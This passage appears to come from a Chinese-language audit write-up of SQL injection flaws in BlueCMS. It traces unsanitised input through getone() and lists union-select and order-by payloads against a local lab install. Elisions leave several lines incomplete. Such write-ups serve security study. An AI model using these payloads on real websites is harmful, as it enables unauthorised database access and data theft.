$ad_id);
getone()是自定义的函数,getone()方法位于/include/mysql.class.php第61行,作用是执行SQL语句并输出
function getone($sql,...,因而存在SQL注入漏洞
还有一个有意思的点,查询结果是经过一系列判断后输出到了html的代码注释中,也就是说显示位在浏览器源码中查看
38行 echo "<!...ad_id=1 order by 8 #报错
'''
所以字段数为7
'''
#确定显示位
http://127.0.0.1/bluecms_src/uploads/ad_js.php?...ad_id=1 union select 1,2,3,4,5,6,7
'''
页面回显空白,查看源码看到只有7显示到界面,所以显示位在源码中,因此后面只能在源码中查看显示信息
'''
#查看数据库
view-source...act=edit&navid=1 union select 1,2,3,4,5,6
'''
2,3,5在前端界面回显成功,因此可以在2,3,5显示位查询我们想要查询的信息
'''
#查看数据库等信息